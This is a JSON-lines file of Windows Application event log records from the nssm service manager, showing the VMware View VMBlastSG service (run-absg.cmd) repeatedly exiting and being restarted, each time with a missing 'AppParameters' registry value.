{"@timestamp":1646787736950,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":164070}}
{"@timestamp":1646787865417,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":164071}}
{"@timestamp":1646787865418,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":164072}}
{"@timestamp":1646787865419,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","161476","0"]}}},"module":"Application","provider":"nssm","sequence":164073}}
{"@timestamp":1646787865420,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["161476","161476","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":164074}}
{"@timestamp":1646787865436,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164075}}
{"@timestamp":1646787865437,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":164076}}
{"@timestamp":1646787865438,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164077}}
{"@timestamp":1646787865438,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":164078}}
{"@timestamp":1646787994106,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":164079}}
{"@timestamp":1646787994106,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":164080}}
{"@timestamp":1646787994107,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","159748","0"]}}},"module":"Application","provider":"nssm","sequence":164081}}
{"@timestamp":1646787994107,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["159748","159748","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":164082}}
{"@timestamp":1646787994123,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164083}}
{"@timestamp":1646787994124,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":164084}}
{"@timestamp":1646787994124,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164085}}
{"@timestamp":1646787994125,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":164086}}
{"@timestamp":1646788122610,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":164087}}
{"@timestamp":1646788122612,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":164088}}
{"@timestamp":1646788122613,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","160724","0"]}}},"module":"Application","provider":"nssm","sequence":164089}}
{"@timestamp":1646788122614,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["160724","160724","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":164090}}
{"@timestamp":1646788122631,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164091}}
{"@timestamp":1646788122632,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":164092}}
{"@timestamp":1646788122632,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164093}}
{"@timestamp":1646788122633,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":164094}}
{"@timestamp":1646788251124,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":164095}}
{"@timestamp":1646788251125,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":164096}}
{"@timestamp":1646788251126,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","160892","0"]}}},"module":"Application","provider":"nssm","sequence":164097}}
{"@timestamp":1646788251127,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["160892","160892","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":164098}}
{"@timestamp":1646788251148,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164099}}
{"@timestamp":1646788251148,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":164100}}
{"@timestamp":1646788251149,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164101}}
{"@timestamp":1646788251150,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":164102}}
{"@timestamp":1646788379635,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":164103}}
{"@timestamp":1646788379636,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":164104}}
{"@timestamp":1646788379638,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","161488","0"]}}},"module":"Application","provider":"nssm","sequence":164105}}
{"@timestamp":1646788379638,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["161488","161488","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":164106}}
{"@timestamp":1646788379657,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164107}}
{"@timestamp":1646788379658,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":164108}}
{"@timestamp":1646788379658,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164109}}
{"@timestamp":1646788379659,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":164110}}
{"@timestamp":1646788508140,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":164111}}
{"@timestamp":1646788508142,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":164112}}
{"@timestamp":1646788508143,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","160436","0"]}}},"module":"Application","provider":"nssm","sequence":164113}}
{"@timestamp":1646788508144,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["160436","160436","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":164114}}
{"@timestamp":1646788508160,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164115}}
{"@timestamp":1646788508161,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":164116}}
{"@timestamp":1646788508161,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164117}}
{"@timestamp":1646788508162,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":164118}}
{"@timestamp":1646788636632,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":164119}}
{"@timestamp":1646788636633,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":164120}}
{"@timestamp":1646788636634,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","160060","0"]}}},"module":"Application","provider":"nssm","sequence":164121}}
{"@timestamp":1646788636635,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["160060","160060","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":164122}}
{"@timestamp":1646788636651,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164123}}
{"@timestamp":1646788636652,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":164124}}
{"@timestamp":1646788636652,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164125}}
{"@timestamp":1646788636653,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":164126}}
{"@timestamp":1646788765144,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":164127}}
{"@timestamp":1646788765146,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":164128}}
{"@timestamp":1646788765147,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","160840","0"]}}},"module":"Application","provider":"nssm","sequence":164129}}
{"@timestamp":1646788765147,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["160840","160840","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":164130}}
{"@timestamp":1646788765165,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164131}}
{"@timestamp":1646788765165,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":164132}}
{"@timestamp":1646788765166,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164133}}
{"@timestamp":1646788765167,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":164134}}
{"@timestamp":1646788893681,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":164135}}
{"@timestamp":1646788893682,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":164136}}
{"@timestamp":1646788893683,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","161768","0"]}}},"module":"Application","provider":"nssm","sequence":164137}}
{"@timestamp":1646788893684,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["161768","161768","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":164138}}
{"@timestamp":1646788893706,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164139}}
{"@timestamp":1646788893707,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":164140}}
{"@timestamp":1646788893708,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164141}}
{"@timestamp":1646788893709,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":164142}}
{"@timestamp":1646789022216,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":164143}}
{"@timestamp":1646789022218,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":164144}}
{"@timestamp":1646789022219,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","160804","0"]}}},"module":"Application","provider":"nssm","sequence":164145}}
{"@timestamp":1646789022219,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["160804","160804","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":164146}}
{"@timestamp":1646789022236,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164147}}
{"@timestamp":1646789022237,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":164148}}
{"@timestamp":1646789022237,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164149}}
{"@timestamp":1646789022238,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":164150}}
{"@timestamp":1646789150835,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":164151}}
{"@timestamp":1646789150836,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":164152}}
{"@timestamp":1646789150837,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","161332","0"]}}},"module":"Application","provider":"nssm","sequence":164153}}
{"@timestamp":1646789150837,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["161332","161332","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":164154}}
{"@timestamp":1646789150854,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164155}}
{"@timestamp":1646789150854,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":164156}}
{"@timestamp":1646789150855,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164157}}
{"@timestamp":1646789150856,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":164158}}
{"@timestamp":1646789279372,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":164159}}
{"@timestamp":1646789279373,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":164160}}
{"@timestamp":1646789279374,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","161384","0"]}}},"module":"Application","provider":"nssm","sequence":164161}}
{"@timestamp":1646789279374,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["161384","161384","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":164162}}
{"@timestamp":1646789279392,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164163}}
{"@timestamp":1646789279392,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":164164}}
{"@timestamp":1646789279393,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164165}}
{"@timestamp":1646789279394,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":164166}}
{"@timestamp":1646789407885,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":164167}}
{"@timestamp":1646789407885,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":164168}}
{"@timestamp":1646789407886,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","158256","0"]}}},"module":"Application","provider":"nssm","sequence":164169}}
{"@timestamp":1646789407886,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["158256","158256","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":164170}}
{"@timestamp":1646789407904,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164171}}
{"@timestamp":1646789407905,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":164172}}
{"@timestamp":1646789407906,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164173}}
{"@timestamp":1646789407907,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":164174}}
